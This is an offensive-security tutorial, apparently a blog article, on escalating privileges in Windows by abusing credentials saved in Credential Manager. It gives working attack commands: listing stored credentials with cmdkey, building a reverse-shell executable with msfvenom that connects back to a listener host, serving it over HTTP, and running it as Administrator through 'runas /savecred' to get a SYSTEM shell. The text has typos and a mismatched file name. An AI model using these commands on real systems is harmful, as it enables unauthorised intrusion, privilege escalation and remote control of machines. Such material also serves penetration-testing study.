Windows Privilege Escalation: Stored Credentials

Microsoft Windows offers a wide range of fine-grained permissions and privileges for controlling access to Windows components including services, files, and registry entries. Exploiting Stored Credentials is one technique to increase privileges.

Introduction

Credential Manager lets you view and deletes your saved credentials for signing in to websites, connected applications, and networks. It is like a digital vault to keep all of your credentials safe.  

Web credentials: As Edge and widows are the product of the same company, the credentials manager has access to the stored information of the Edge browser too, in order to increase the safekeeping of saved credentials. It also stores the password of order applications provided by Microsoft such as skype, Microsoft office, etc.

Windows credentials: Under this category, all the windows login credentials can be found. Along with any system that is connected to the network.

In our previous article, we have explained how an attacker can dump the credential from this digital vault.

1.       To open Credential Manager, You can open the control panel > user accounts > credential manager.

2.       Select Web Credentials or Windows Credentials to access the credentials you want to manage.

 

Abusing Stored Credential

If an attacker identifies stored credential entry for an administrator account then the attacker can go for privilege escalation by executing a malicious file with the help of runas utility.

To enumerate a list of all user names and credentials that are stored, type:

cmdkey /list

Create Malicious Executable

To get a reverse shell as NT Authority SYSTEM, let’s create a malicious exe file that could be executed using runas utility. It allows a user to run specific tools and programs with different permissions than the user's current logon provides.

msfvenom –p windows/shell_reverse_tcp lhost=192.168.1.3 lport=8888 –f exe > Vuln.exe python –m SimpleHTTPServer 80

 

Start a fr netcat listener in a new terminal and transfer the shell.exe and execute it with the help of the following command

runas /savecred /user:WORKGROUP\Administrator "C:\Users\ignite\Downloads\shell.exe"

The attacker will get a reverse connection in the new netcat session as NT Authority \System